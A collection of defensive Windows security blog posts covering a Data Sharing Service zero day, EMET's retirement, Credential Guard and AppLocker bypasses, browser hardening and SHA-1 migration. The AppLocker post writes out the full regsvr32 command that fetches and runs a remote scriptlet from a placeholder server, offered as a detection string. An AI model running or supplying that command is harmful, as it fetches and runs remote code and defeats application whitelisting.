Windows Data Sharing Service Zero Day Disclosed

In late October, a new Windows zero day vulnerability (defined) was publicly disclosed (defined) by the security researcher SandboxEscaper (the same researcher who disclosed the Task Scheduler zero day in early September. This vulnerability affects a Windows service; Data Sharing Service (dssvc.dll) present in Windows 10 and its Server equivalents 2016 and 2019. Windows 8.1 and Windows 7 (and their Server equivalents (Windows Server 2008 R2, Windows Server 2012 R2) are not affected.

How severe is this vulnerability and what is its impact?
Similar to the Task Scheduler vulnerability; this vulnerability is not remotely exploitable by an attacker (more on this below). This vulnerability should be considered medium but not critical severity. When exploited it can allow an attacker to delete any files they choose since they will inherit the same level of permission (privilege escalation)(defined) as the Data Sharing Service namely LocalSystem privileges (the highest level of privilege)(defined) but they cannot initiate this automatically/remotely. They must socially engineer a potential victim into opening an attachment (most likely sent over email or via instant messaging etc.).

As with the Task Scheduler vulnerability; this vulnerability may be leveraged in the wild before it is patched by Microsoft; this is my reason for advising exercising caution with email and clicking unexpected links.

While security researchers such as Will Dormann (mentioned above) and Kevin Beaumont were successful in verifying the proof of concept code worked; they class the vulnerability difficult to exploit. This was verified by Acros Security CEO Mitja Kolsek noting he could not find a “generic way to exploit this for arbitrary code execution.” Indeed, SandboxEscaper described the vulnerability as a low quality bug (making it a “pain” to exploit). Tom Parson’s from Tenable (the vendor of the Nessus vulnerability scanner) summed it up nicely stating “to put the threat into perspective, an attacker would already need access to the system or to combine it with a remote exploit to leverage the vulnerability”.

The vulnerability may allow the attacker to perform DLL hijacking (defined) by deleting key system DLLs (defined) and then replacing them with malicious versions (by writing those malicious files to a folder they have now have access to). Alternatively this functionality could be used to make a system unbootable by for example deleting the pci.sys driver. This has earned the vulnerability the name “Deletebug.”

How can I protect my organization/myself from this vulnerability?
As before with the Task Scheduler vulnerability; please continue to exercise standard vigilance in particular when using email; e.g. don’t click on suspicious links received within emails, social media, via chat applications etc. Don’t open attachments you weren’t expecting within an email (even if you know the person; since their email account or device they access their email from may have been compromised) and download updates for your software and devices from trusted sources e.g. the software/device vendors. This US-CERT advisory also provides advice for safely handling emails.

If you choose to; the firm 0patch has issued a micro-patch for this vulnerability. They developed the fix within 7 hours of the vulnerabilities disclosure. It blocks the exploit by adding impersonation to the DeleteFileW call. This was the same firm who micro-patched the recent Windows Task Scheduler vulnerability and JET vulnerabilities. Moreover; this vulnerability may be patched tomorrow when Microsoft releases their November 2018 updates.

As with the above mitigations; if you wish to deploy this micropatch please test how well it works in your environment thoroughly BEFORE deployment.

It can be obtained by installing and registering 0patch Agent from https://0patch.com Such micropatches usually install and need no further action when Microsoft officially patches the vulnerability since the micropatch is only active when a vulnerable version of the affected file is used; once patched the micropatch has no further effect (it is then unnecessary).

Thank you.

Windows 10 Fall Creator’s update to include EMET features

Late last month Microsoft published two blogs (here and here) which announce forthcoming security features being added to the Windows 10 Fall Creator’s Update (intended to be released in September 2017).

Among the features such as enhancements to the Windows Defender Advanced Threat Protection (ATP) are features such as Windows Defender Application Guard (intended to block zero day (defined) threats by isolating the threat), improved Windows Defender Device Guard and Windows Defender Exploit Guard. The final feature here, Exploit Guard is noteworthy since it will incorporate some of the mitigations (defined) previously available from EMET and will provide the ability to harden legacy applications, just like EMET did namely 32 bit Windows applications.

The improvements to Windows Defender Exploit Guard don’t stop there; it introduces new mitigations and vulnerability prevention capabilities. Moreover a new class of mitigations leveraging intelligence from the Microsoft Intelligent Security Graph (ISG), will include intrusion rules to protect against more advanced threats e.g. zero days exploits. Exploit guard will act as “an extra layer of defense against malware attacks in-between the firewall and antivirus software.”

As a fan of Microsoft EMET, it’s great to see it’s return. However whether it will be available in all versions of Windows 10 or only corporate managed Windows 10 Pro and Windows 10 Enterprise is not yet clear.

I will update this post when new information becomes available. Thank you.

Windows 10 Credential Guard Bypassed

Despite the demonstrated successes and new security mitigations (specifically Credential Guard) of Windows 10 detailed by Microsoft in the link and PDF document listed below, security researchers from CyberArk have been able to obtain domain admin account (defined) credentials from the Local Security Authority (LSA) Secrets registry hive of Windows 10 using a technique similar to Pass the Hash (PtH)(defined):

https://technet.microsoft.com/en-us/itpro/windows/whats-new/security

Click to access us-16-Weston-Windows-10-Mitigation-Improvements.pdf

Once obtained they injected the credentials into a newly created malicious service to achieve lateral movement (defined) which lead to the compromise of the domain controller (defined). The only requirement of the exploit the researchers developed was obtaining administrator access to a workstation within the domain.

While this could be considered a tall order, a well-designed spear phishing email (defined) with a malicious attachment or a malicious link targeting an unpatched or (zero day, defined) vulnerability on the workstation could be used to achieve privilege escalation (defined) and gain administrative rights (defined). Social engineering (defined) in combination with a malicious USB flash drive could also be a potential way of exploiting this. The methodology of how the CyberArk researchers carried out this exploit is available within their blog.

They also provide a list of mitigations for this exploit, many of which are well known and/or best practice. Microsoft responded to the team’s disclosure of this vulnerability that there will not be a fix since the system must already be compromised for it to succeed.

Thank you.

Microsoft Announces End of Support for EMET

====================
Update: 12th September 2017:
Versions 1703 and 1709 of Windows 10 will block the installation of EMET. This makes sense for version 1709 since it includes a replacement for EMET while 1703 (to the best of my knowledge does not).

Thank you.
====================

====================
Update: 11th July 2017:
As noted in a new blog post, an upcoming update to Windows 10 will contain some features of EMET. Further details are available in the above mentioned blog post.

Thank you.
====================

====================
Update: 13th December 2016:
Shortly after publishing this blog post, I received a response (apologies for not posting this update sooner) from the Microsoft EMET team to some questions that I had asked with regard to how to harden applications that do not incorporate security mitigations be default on Windows 10 once EMET has reached it’s end of support. These can be used with any applications, not just legacy applications.

They suggested using the Process Mitigation Options GPO which is described in the link provided by them below. This can be used to apply mitigations such as DEP, SEHOP, Mandatory/Force ASLR, and Bottom-up ASLR to a process without using EMET. They also mentioned this GPO should be receiving further usability improvements in the future.

While the above mitigations don’t provide the same level of protection that EMET offered, they offer an improvement over not using them. From their message there appears to be a possibility that further mitigations will be available in later updates to Windows 10.

I have provided the text of their message below.

====================
Thank you for your support and for providing this helpful feedback! We will consider these suggestions as we develop our documentation and continue to evolve our security and mitigation features in future releases of Windows 10.

Today, the Process Mitigation Options GPO documented below can be used to configure certain in-box Windows 10 mitigations for particular processes.

https://technet.microsoft.com/en-us/itpro/windows/keep-secure/override-mitigation-options-for-app-related-security-policies

These mitigations include DEP, SEHOP, Mandatory/Force ASLR, and Bottom-up ASLR. Though we’re aware that this GPO presents some UX challenges, we’re actively working to improve our mitigation management experience for future releases.
====================

Once again shortly after publishing this post, I came across this blog post from the CERT/CC team of Carnegie-Mellon University. They recommend using EMET on Windows 10 after the end of support deadline in July 2018 to protect applications that do not incorporate security mitigations.

This is of course assuming that future builds/versions of Windows 10 allow EMET to continue to function. If this is not the case, the alternatives discussed above could be considered.

The CERT blog post also provides the steps to enable system-wide DEP an ASLR if EMET (or the alternatives) cannot be used. That post also provides a comparison table of Windows 7 and Windows 10 with and without EMET to better display the benefits EMET offers.

How the CERT/CC team align to the US CERT team is mentioned in this Sophos blog post.

I hope that you find this additional information useful. Thank you.

====================
Original Post:
====================
Early last week Microsoft extended the support deadline of their exploit mitigation tool, Enhanced Mitigation Experience Toolkit (EMET). The final support deadline is now the 31st of July 2018 (originally 27th January 2017).

Why Should This Announcement Be Considered Important?
At this time there are known bypasses for EMET e.g. this and this. While a competitor to EMET, SurfRight HitmanPro.Alert mitigated the WoW64 bypass, Microsoft never incorporated such changes (or at least never documented such improvements). In addition in their most recent blog post concerning EMET; Microsoft states that EMET’s effectiveness against modern exploit kits (defined) has not been proven and were not designed to be a long term solution just a “stop gap” to add extra protection to older versions of Windows without necessitating upgrading to a newer version of Windows.

In addition, Microsoft mentioned that EMET can reduce the performance of the applications that it protects. Moreover it can impact their reliability since it hooks into the operating system at a low level in order to add its protection to the applications chosen by a system administrator or individual user.

You recommend EMET a lot on this blog; is that going to change?
In the short term, no. In the long-term, yes. While EMET is still supported I will recommend its use but will note that its end of support date is approaching.

I still believe that EMET can provide value by adding mitigations to commonly used applications both for enterprise/business users and individual user applications when those applications don’t include mitigations such as DEP or ASLR etc. by default after installing them. I don’t agree with Microsoft’s decision to end support for EMET for this reason.

I believe that they were overly critical of EMET in their most recent blog post. Yes it can cause performance issues (usually disabling one or both EAF and EAF+ mitigations resolves this) and can cause compatibility issues. In general, this depended on the set up of your individual applications. E.g. if you don’t install add-ons into Microsoft Word, Excel etc. they are far more likely to work with EMET without any changes. In many business and enterprise environments I realise this isn’t an option.

In my experience, accepting the defaults of the EMET configuration and adding all but EAF and EAF+ to custom applications would almost always work. Adding EAF and/or EAF+ was appropriate if they didn’t cause performance issues. A further reference regarding EMETs mitigations and another application compatibility list is available here.

I always believed that if you were going to deploy EMET across an organisation that you had to extensively test it. This could possibly involve testing it on hardware and software that mostly (or exactly if possible) emulates each type of server and workstation in use across each team in your organisation. Using just one configuration across your organisation would not work or if it did, it would be sub-optimal since you would likely have to disable many more mitigations to make it work smoothly across all systems in use.

How secure non-best practice applications (namely that they don’t include mitigations such as DEP or ASLR) are when installed on Windows 10 is uncertain. However given the continuing work that Microsoft is doing with Windows 10 and their recent publishing of details concerning the new mitigations available in Windows 10 (the original security benefits are discussed in a previous blog post) Windows 10 in the long term is the way forward. Overall however the Windows 10 without any additions is more secure by default than Windows 7 or Windows 8.1. Just one example would be the disabling of LDR Hotpatching which mitigates the issues caused by abusing its functionality discussed here and here.

If I can’t upgrade to Windows Server 2016 or Windows 10 before the support for EMET ends, what would you recommend?
If your business applications already include security mitigations such as DEP and ASLR, you may not need EMET and can simply ignore it. EMET and indeed the competitors to EMET are only necessary if the applications you use need hardening.

For business, enterprises and individuals Alternatives to EMET are Malwarebytes Anti-Exploit (Business and Personal editions) and HitmanPro.Alert. Malwarebytes Anti-Exploit can be used to protect custom applications and thus can take that role over from EMET. I am currently testing Malwarebytes Anti-Exploit and HitmanPro.Alert and will comment on their resource usage and any drawbacks they may have. I will update this post when I have completed this testing.

Alternatively try to contact the developers of the custom business applications that you are using and request that they enable some security mitigations e.g. DEP and ASLR. Visual Studio 2015 is required for adding CFG but DEP and ASLR can be added using compilers like Mono and mingw (example 2 and example 3).

I contacted the developer of a 64 bit open source tool and he mentioned that since he still supports Windows XP migrating to a newer version of Visual Studio is not an option right now but would consider it for the future. Another small but commercial application developer (a 64 bit utility for Windows) was very enthusiastic about a new version of Visual Studio offering extra mitigations and promised to add these to the next major release of his product which is currently in beta and moving towards a release candidate.

Thank you.

Windows AppLocker Bypass Disclosed

Update: 26th April 2016:
After some further research, this bypass can be blocked by denying regsvr32.exe and regsvr64.exe (depending on your systems architecture) from accessing the internet.

These files are usually present in the following directories (folders):

C:\Windows\System32 (32 bit systems only)
C:\Windows\SysWOW64 (64 bit systems only)

For 64 bit systems you should block any regsvr32.exe or regsvr64.exe that you find in both of the above folders.

You can use your installed firewall to do this or use the built-in Windows Firewall to create a rule to do this. Example steps to create rules for the Windows Firewall are located here and here. Please refer to the support website of the manufacturer of your firewall or it’s user guide if you are using a 3rd party firewall.

Alternatively, you can create a YARA rule to detect the presence of the following string within the memory of the conhost.exe process that is spawned on Windows 7 and later when a script is executed:

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

The part of the string we are interested in detecting would be the text after the /i switch.

More information about the conhost.exe process is available in this article.

This bypass does not make changes to the Windows registry but .sct files may be found in the Temporary Internet Files folder. Another well-known security researcher Alex Ionescu said that Device Guard (of Windows 10), fully enabled with script protection will block this bypass as well.

Further discussion and advice for this issue are available within this blog post.

I hope that this information is useful. My thanks to a colleague (you know who you a
re!) for his very useful insights on this topic.

Thank you.

=======================
Original Post:
=======================
Last week a security researcher made publically available proof of concept code that has the ability to bypass Windows AppLocker (application whitelisting).

I have written about this issue separately using Yammer but will provide more discussion below:

Why Should This Issue Be Considered Important?
According to this ThreatPost article the researcher initially responsibly disclosed (defined) this issue to Microsoft. However, it is uncertain if Microsoft will create a security update or mitigation to address this issue since AppLocker is functioning by design. In 2011 a bypass to AppLocker was discovered by Didier Stevens which was later addressed by Microsoft with a hotfix.

With a known bypass of AppLocker now being disclosed the effectiveness of AppLocker has been significantly reduced. I’m hoping that for this new bypass a similar solution can be found. I’m a particular fan of AppLocker since it provides a strong defence against zero-day malware (defined) and ransomware (defined). It is also relatively easy to configure. An introductory post to configuring AppLocker would be this Malwarebytes blog post.

Since it runs with kernel level privileges (defined) it isn’t easy for an attacker to shut it down and can be configured to block code that is run by an administrator (defined) (unless that code is already whitelisted). The enhancements it received in Windows 10 e.g. blocking a script from being manually entered at the command prompt is a good example of defence in-depth (defined)(PDF) security.

How Can I Protect Myself From This Issue?
As mentioned above, at this time there is no known workaround for this bypass. While blocking Regsvr32.exe using AppLocker may seem like an obvious solution, this is a legitimate application that is often used by Windows especially during program installation and updates. Denying this application from running would likely lead to unexpected behavior.

I’ll monitor this issue and post here should further information become available. Thank you.

Google Chrome Benefits From Windows 10 Security Mitigations

Earlier this year in February, Google added several new security mitigations (defined within this post) to Google Chrome that work in partnership with lesser known changes within the Windows 10 update (known as Build 10586 or Version 1511) made available by Microsoft in November last year.

How Do These New Techniques Work?
In total 3 new mitigations were added:

1. Block un-trusted fonts
On numerous occasions over the last year Microsoft have released security updates that address vulnerabilities related to Windows handling of fonts (examples here, here and here (among others)). Such vulnerabilities are of interest to attackers since when successfully exploited they provide the attacker with kernel mode privileges (defined). The concept of a kernel is defined here. A mitigation designed to make exploiting such vulnerabilities more difficult is present in the most recent version of Microsoft EMET version 5.5 and is discussed in more detail on page 11 of the EMET user guide as well as this TechNet article.

Windows 10 features a system wide means of blocking the use of fonts to only the Windows Font directory (folder) by default located at: C:\Windows\Fonts However due to the application compatibility issues that this feature can cause it is turned off by default. While the ability to enable this security feature for running applications on a per process (defined) basis is available this is unsuitable for Chrome since it creates multiple processes with different security permissions applied. However, the November 2015 Windows 10 added the ability to enable the blocking of fonts for individual processes of which Chrome can now take advantage of.

2. Block the creation of child processes
This mitigation is intended to block an attacker’s exploit from creating new running processes without any restrictions of the Google Chrome sandbox (discussed below) on a Windows device if they are successful at exploiting Google Chrome. Google Chrome has always incorporated a protective sandbox (defined) that prevents malicious code from being able to make changes to the computer upon which Google Chrome is installed.

To address a vulnerability reported by Google to Microsoft in late 2014; the Windows 10 November update provides the ability to applications (if they choose to use it) to block the ability to create child processes including console processes (disused further in the Google bug report linked to above). This new capability is now utilized by Google Chrome.

3. Block the loading of DLLs (defined) from network drives
While Windows provides the ability for an application to load a DLL from a network location (e.g. a mapped network drive); this can be used by an attacker to insert malicious code into a legitimate application (e.g. if they substitute a legitimate DLL in a network location with a malicious DLL of the same name).

This ability has been disabled within Google Chrome when it’s installed on Windows 10 with the November 2015 update further hardening it against this type of attack. This capability is similar to the defences of Microsoft Edge against DLL injection.

Conclusion
All of the above new mitigations provide defence-in-depth (defined)(PDF) security against possible future vulnerabilities and provide further incentive for Windows users to migrate to Windows 10. Please do not misunderstand me I am not trying to advocate that users do so, I am simply pointing out the additional security features that are available if you choose to use Windows 10 (with the November update) and Google Chrome in combination.

Thank you.

Microsoft Updates Edge Browser To Harden Against DLL Injection

On the 12th of November Microsoft began rolling out Windows 10 Build 10586 (also known as Version 1511). This was the first major update made available for Windows 10. Included in this update was an improved version of Microsoft Edge, the default browser of Windows 10.

For most consumers, this update will be delivered automatically to their PCs. For businesses and large organizations using the new Windows Update for Business they should be able to choose a time when they wish to deploy this update more widely to the company’s employees.

What’s The Main Security Improvement in This Update?
In the updated version of Microsoft Edge, known as EdgeHTML 13, DLLs (Dynamic Link Libraries, defined) are no longer permitted to load within Edge. DLLs are loaded into a Windows application using a technique known as DLL injection. The technique of DLL injection is explained in more detail here and here. It is this technique that Edge has been hardened against to prevent it succeeding.

Why Was This Change Made?
If an unauthorized DLL is loaded into a web browser, it can do such things as displaying un-wanted adverts (such as the type previously discussed by Google) or installing unnecessary toolbars that may attempt to re-direct your web searches from your preferred search engine to another search engine in order to benefit from increased usage (and possibly increased revenue when adverts are displayed among those search results). Such unwanted adverts and/or toolbars annoy and distract users and make their web browser less user friendly.

If I’m a Microsoft Edge user, how will this benefit me?
If you like using Microsoft Edge on Windows 10, this change will mean that it will be harder for adware and malware to be loaded into your browser either for malicious purposes or to simply display adverts. This means that your web browser is more likely to work the way you prefer and you can simply concentrate on achieving what you would like to do.

I welcome this change which makes every day browsing for Microsoft Edge users safer. Thank you.

Why Your Organizations Website Should Migrate From SHA-1

Update: 15th March 2017:
The first practical attack against SHA-1 took place in February 2017 and is discussed in a more recent blog post.

Thank you.

=======================
Update: 25th June 2016:
Microsoft have updated their SHA-1 deprecation roadmap to state that from the 12th of July changes described in that psot will be seen for Microsoft Edge, Microsoft Internet and Windows 10 (with the Anniversary update) with regard to how they display the status of SHA-1 certificates. Further details are available within that post.

Thank you.
=======================

Update: 10th January 2016:
As mentioned in a recent blog post Mozilla have needed to re-enable SHA-1 certificates for “man-in-the-middle” (defined) devices due to issues being experienced by companies/organizations using such devices.

In addition, in mid-December Google announced their schedule for phasing out SHA-1. They too are considering moving the deadline forward to 1st July 2016 but have set a hard deadline of the 1st January 2017.

At the end of their blog post announcing this schedule they also provide advice on migrating from SHA-1. It is notable that within Step 2 of their plan they mention they took into account the issue Mozilla encountered (mentioned above; however, Google published that blog post before Mozilla Firefox users encountered that issue and worked around it in advance).

The migration from SHA-1 poses some very difficult issues for both users who cannot upgrade their web browsers before the imposed deadlines as well as corporate users who will be unable to make the transition in time (e.g. they are using custom applications that are critical to their business). These issues are discussed here with a possible work around being voted upon by the CA/Browser Forum discussed in a separate post.

Thank you.
=======================

Update: 24th November 2015:
Since publishing this blog post last month Mozilla and Microsoft are considering moving forward the deadline for phasing out SHA-1 to the 1st of July 2016. Their decisions have come in light of the recent disclosure of potential attacks on SHA-1 previously discussed within this blog post. The final deadline has not yet been decided but this should be yet another reason to begin planning to move your organization’s website away from using SHA-1.

Thank you.

=======================
Original Post:
=======================
Earlier this month a report was published by a team of researchers which shows that a potential attack on a SHA-1 hash (defined) could take as little as 3 months and cost in the region of USD $75k to $125k. The time and cost necessary are significantly less than the previous 2012 estimates of $700k necessary in 2015 and $173k by 2018.

Why Should This Potential Attack Be Considered Important?
In October 2012 possible attacks on SHA-1 were discussed and estimates provided on how time such attacks would take to carry out. Migration away from SHA-1 at the time was suggested. With the publication of the new research this month the need for migration has become more important.

An attack against the MD5 hash algorithm in 2012 was used by malware known as Flame to allow the installation of the malware onto PCs by making it “look like” genuine Windows Updates from Microsoft.

This was accomplished by the malware authors making improper use of Microsoft’s Terminal Services licensing certificate authority (CA)(defined). The certificate used to sign the updates was created using the MD5 algorithm (defined). A hash collision attack (defined) was used by the malware authors to make a different signing certificate produce the same hash as that of the genuine signing certificate. This seemingly “genuine” certificate was then used to sign their malware making it look like those malware files were Windows Updates.

While weaknesses in the MD5 algorithm were used to accomplish this, the same method of attack could potentially be used with SHA-1 to once again make malware look like legitimate/non-malicious files. When I say this, I don’t mean that an attack of this kind could again be carried out against Windows Update but I am referring to the use of SHA-1 in general. It’s not uncommon to see SHA-1 hashes provided when downloading new software or software updates from a software vendor’s website. If those files could be replaced with malware that has an identical hash to that of the legitimate file, the same type of attack could be carried out. You could download the file which would be malware but it would have the same SHA-1 hash as the genuine software.

SHA-1 is not only used for code-signing certificates but also with TLS (defined) secured websites. For example, if a website e.g. example.com has a legitimate certificate, that certificate could potentially be used by an attacker to provide more trust to a website of their choice using a collision attack on SHA-1. Thus when you visit the attackers website, malware.com it would appear to have a legitimate/trusted certificate. If this fake certificate were used in combination with another attack e.g. pharming (defined)(also discussed further in this post), there is the potential for you to visit example.com and actually be taken to the attacker’s website but example.com would appear in your web browsers address bar (while at the same time having a seemingly legitimate TLS certificate making the website appear even more trustworthy).

How Can I Protect Against The Known Weaknesses in SHA-1?
If you would like to check if your website uses a SHA-1 certificate you can visit this website. That site also provides advice on obtaining a newer SHA-2 certificate.

In addition this link provides advice on generating a new TLS SHA-2 certificate. Moreover a list of compatible web browsers, operating systems, web servers, databases, firewalls etc. is provided here. Finally the current planned roll-out phases of SHA-2 is provided here. Moreover you may find that this article provides useful background information and advice. For TLS certificates, the deadline for transition to SHA-2 is currently January 2017.

However a ballot with the CA/Browser Forum wishes to extend the issuing of SHA-1 certificates throughout 2016 giving large organizations with too many certificates to switch over during 2016 more time to do so. It appears from this post that this 1 year extension was granted (please see the update below for clarification on this).

Update: 4th January 2016:
I have been contacted in relation to the CA/Browser forum vote and have been informed that Symantec withdrew their ballot and the Baseline Requirements section on SHA-1 are unchanged. Many thanks to Mr. E. Mill for this information.

Update: 7th February 2016:
Qualys in September 2014 published a thorough blog post detailing how to migrate from SHA-1 including what to do should you need to support devices that cannot migrate from SHA-1.

I hope that the above information is useful to any organization or individual wishing to migrate their websites TLS certificate from SHA-1 to SHA-2.

Thank you.

Windows 10 Possible Privacy Concerns

Update: 5th October 2015:

Microsoft has published a new blog post that describes what data they collect from Windows 10 devices and why. They also provide a means of contacting them should you have any questions or concerns about the privacy aspects of Windows 10.

They also provide explanations for consumers and companies providing more information on how to control what data is collected and why such data is collected.

I hope this additional information is of assistance to you.

Thank you.

=======================
Original Post:
=======================
With the recent launch of Windows 10 near the end of July, the new operating system has very quickly developed a large user base (14 million users after just 24 hours from initial launch). However during the upgrade process (from a previous version of Windows) you are presented with a settings screen that lets you choose Express Settings or to Customize Settings.

If you value your privacy you may wish to choose Customize Settings in order to change how much information Microsoft collects from your Windows 10 device. This information includes (among others):

• Page Prediction: Speeds up web browsing but sends your browsing data to Microsoft
• SmartScreen: Scans and possibly sends downloaded files and suspicious files to Microsoft for further analysis.
• Automatically connecting to open WiFi (wireless) hotspots
• Automatically connecting to networks shared by your contacts
• Sending error and diagnostic information to Microsoft

While I have no issue with the collection of this data, it’s a little disconcerting that the defaults if you choose Express Settings will leave all of these enabled. Encouraging users to check these settings and make the changes of their choice (which will take only seconds) would be a better approach rather than down playing them and encouraging the use of the Express settings. A full guide with very helpful screenshots to change these settings if you have already installed Windows 10 is provided here (hat tip to The Register for this link). It has also been pointed out that the collection of error and diagnostic information from Windows 10 devices can be limited but not fully disabled.

Please note that disabling some of the above mentioned settings will make certain features of Windows 10 e.g. Cortana will no longer function exactly as intended.

In addition, Windows 10 by default uses your internet/broadband/network bandwidth to download Windows 10 updates in order to speed up the downloading of such updates for you (if you have more than one Windows 10 device on your network) and to people running Windows 10 nearby on other networks. This feature/setting is called Windows Update Delivery Optimization (WUDO).

As before while I have no problem with this, the default for this setting is on. As pointed out by Security blogger Graham Cluley, this setting can have an impact if you are using a metered or capped data plan for your internet access, this could be using more of your limited bandwidth than you would like. While WUDO will not download over metered/capped connections this will only be respected if you have informed Windows 10 that you are using such a network. How to inform Windows 10 of your use of a metered connection is provided in this FAQ. Information on how to disable this setting (should you wish to do so) is also provided by Graham in his post. My thanks to him for this very useful reference. Moreover Sophos confirmed that WUDO is not a security concern.

While all of the above settings do not pose a security concern; for any person concerned about their privacy, network bandwidth or who simply likes to know what’s going on with their newly Windows 10, the above information may be of assistance to you.

Thank you.

Windows 10 Will Offer Increased Security (updated)

On the 29th of July 2015, the next version of Windows from Microsoft, Windows 10 will become available to the general public (with Windows 10 Enterprise for corporate customers becoming available in the Fall of 2015). Windows 10 will offer new features such as DirectX 12, virtual desktops and an improved Start menu among others. However I wish to focus on the security improvements that we can look forward to seeing in the upcoming release:

Microsoft Edge
As mentioned in my post discussing the bug bounty for Microsoft Edge (Microsoft’s new browser), it will feature security changes such as the removal of now obsolete technologies such as VBScript, ActiceX, toolbars, Browser Helper Objects (BHOs) and VML which will mean that less code is present to attack. The less code there is, the less scope there is to exploit it (i.e. its attack surface has been reduced).

Microsoft Edge will offer more convenient and more secure ways (Windows Hello and Microsoft Passport) to authenticate to websites (assuming that popular websites adopt this new approach of authentication). I’m really excited about these features since it will mean fewer passwords to manage and also means that if the website is hacked, your password hash can’t be stolen since the website doesn’t store a password hash. Updating high risk and/or frequently passwords is a chore and these new authentication methods will mean this chore will slowly begin to be a thing of the past.

In addition, for the first time Edge will offer support for both Content Security Policy (CSP) (appears to be CSP Level 1 i.e. v1.0 rather than Level 2 i.e. v2.0) and HTTP Strict Transport Security (HSTS).

What is Content Security Policy (CSP)?
Content Security Policy (CSP) is a W3C standard that allows a website owner to specify the sources of trusted content used to build/display a page e.g. scripts (JavaScript), embedded videos (CSP Level 2 only), audio, fonts, forms (CSP Level 2 only) and plugins (CSP Level 2 only) as well as other object types. Since this content can only load from a website address that you specify (since inline JavaScript is ignored), if the websites’ content has been altered and additional content inserted by an attacker (usually JavaScript), it won’t be able to load since the content will come from a source that you have not approved (not whitelisted). This helps to protect against cross-site scripting (XSS) attacks.

The differences between CSP Levels 1 and 2 are detailed in this W3C document. Unfortunately not many websites at this time use CSP to protect their users. Twitter, Facebook and Google Gmail are known to being CSP. Smaller sites such as SendSafely also make use of it.

What is HTTP Strict Transport Security (HSTS)?
HSTS allows your web browser (e.g. Mozilla Firefox, Google Chrome etc.) to only access a web site using a secure connection (HTTPS, which will display a padlock in your browser address bar) and to never attempt to access that website using an unsecured connection namely HTTP. One of the other benefits of HSTS (a more comprehensive list is available in the paragraph titled “Threats” within this page) is that HSTS does not allow a user to override an invalid certificate message (otherwise known as a HTTPS click through). Thus if there is an issue with the certificate being used to verify the identity of the website, you can’t click “Continue anyway” (whether there is genuinely a malicious issue with the site or its certificate has simply expired) and thus any risk is eliminated. An example of a pop up window showing such a click through message is shown in the section “Why click-throughs are so dangerous” within this Microsoft MSDN blog post.

Support for HSTS was added to Internet Explorer 11 for Windows 8.1 and Windows 7 by Microsoft when the June 2015 security update is installed. Further information is available in this blog post and this knowledge base article.

Why are these 2 security features noteworthy? As more legitimate websites become to be hacked and extra content added to them, having CSP should stop those attackers compromising your device when accessing the now hacked site. In addition, when something is wrong with the certificate used to verify a websites identity its best not to conduct sensitive transactions with it during that time, while the certificate may simply be expired, there may also be a malicious reason why you are seeing that message and this is where HSTS can protect you.

Other Security Enhancements of Microsoft Edge
Microsoft Edge will also include a Memory Garbage Collector (MemGC) to defend it against Use-After-Free security flaws (where the browser marks memory that it has finished using as free but then tries to use it again (either unintentionally via a software bug resulting from human error or maliciously via a piece of malware). I previously mentioned these flaws in this blog post where a group of security researchers were rewarded due to providing additional defences against them. This is excellent news since these flaws are now very popular with malware authors.

The final noteworthy mitigation is Control Flow Guard (CFG) which seeks to prevent an attacker obtaining control of the browser by manipulating the program counter of your CPU (Central Processing Unit). The program counter is a register within your CPU which always holds the memory location of the next instruction to be executed. I previously discussed how this mitigation has been bypassed before but the attacker’s code would need to know how to bypass this mitigation and thus this defensive measure still has value.

The decision that Microsoft Edge should always be a 64 bit program running on your computing device (as opposed to a 32 bit program) is significant since the mitigation known as ASLR (Address Space Layout Randomization) becomes far more effective with a 64 bit process. When used with a 64 bit process, it’s known as High Entropy (HE) (i.e. highly random) ASLR. HEASLR is discussed in more detail in this post and this post. It’s advantages include making heap spraying techniques far less effective. Further information on HEASLR can be found on Alex Ionescu’s blog.

I very much approve of this choice to make Edge 64 bit by default since I was very surprised to learn just how many users still use Internet Explorer 32 bit on a 64 bit version of Windows. This forum thread shows how many users were affected by an issue that only occurred if they were using a 32 bit version of Internet Explorer. While a 64 bit version of Internet Explorer has been available since the release of Windows Vista in January 2007, 32 bit versions are still very widely used. I’ve done some quick checks and can confirm that opening Internet Explorer 8 on a newly installed Windows 7 64 bit system will by default launch a 32 bit version (unless Enhanced Protected Mode (EPM) is enabled (which was only introduced to Windows 7 with Internet Explorer 10)). A newly installed Windows 8.1 64 bit system also showed the same behaviour (opening a 32 bit version of Internet Explorer 11). Only the Modern UI (Windows Store) app otherwise known as the Immersive Internet Explorer of Windows 8.1 was a 64 bit process.

While Microsoft mentions that Edge is 64 bit only when running on a 64 bit processor, for 32 bit versions of Windows 10 as expected it remains a 32 bit browser. Please find below screenshots from Sysinternals Process Explorer showing Microsoft Edge on Windows 10 32 bit and Windows 10 64 bit:

Edge 32 bit:

Edge 64 bit:

Please note the CPU architecture of the Edge process is not shown in the Windows 10 32 bit screenshot (this option is not available on a 32 bit system since only 32 bit programs can run). However the type of process can be confirmed from looking at the VirusTotal results for Spartan.exe. The Intel 386 architecture mentioned is 32 bit:

An older blog post discussed a 64 bit version of Internet Explorer and detailing why it was not at the time made the default version. EPM is explained in more detail here and here. 64 bit versions of Internet Explorer are more secure since:

• They have EPM enabled
• All 64 bit processes (not just Internet Explorer) have Data Execution Prevention (DEP) enabled all the time since it’s not optional for 64 bit processes
• All 64 bit processes (not just Internet Explorer) can (if they choose to/opt-in) use HEASLR (making heap spray attacks less effective, as mentioned above)
• Are more resistant to shellcode exploits since the shellcode must be 64 bit and not 32 bit. 64 bit shellcode is less common.
• Only 64 bit DLLs can be loaded into a 64 bit version of Internet Explorer. This can increase stability since fewer (if any) add-ons will be loaded when Internet Explorer starts and this helps to reduce the attack surface (since those add-ons aren’t loaded they can’t be targeted). EPM further reduces the likelihood that a 64 bit DLL will be loaded since add-ons not compatible with EPM are not loaded.
• In addition Google mentioned the advantages they saw when they made 64 bit versions of Chrome available (the speed advantage mentioned may or may not apply to Internet Explorer in this case).

Windows Device Guard
This security feature is an evolution of Windows AppLocker (a feature which I mentioned is useful for protecting against ransomware in a corporate environment) that checks that an app is trusted before allowing it to run (be used) on your computing device. Device Guard is intended for devices used within mission critical settings such as a hospital, a factory assembly line, a power plant, an air traffic control tower, a PoS (Point of Sale terminal e.g. a cash register) terminal or an ATM.

Device Guard checks that the app is signed (verified as trustworthy) from one of the following sources:

• By a known and trusted software vendor
• From the Windows Store (Microsoft’s online app store)
• Your company (if the original software vendor did not sign it) for line of business applications that you use

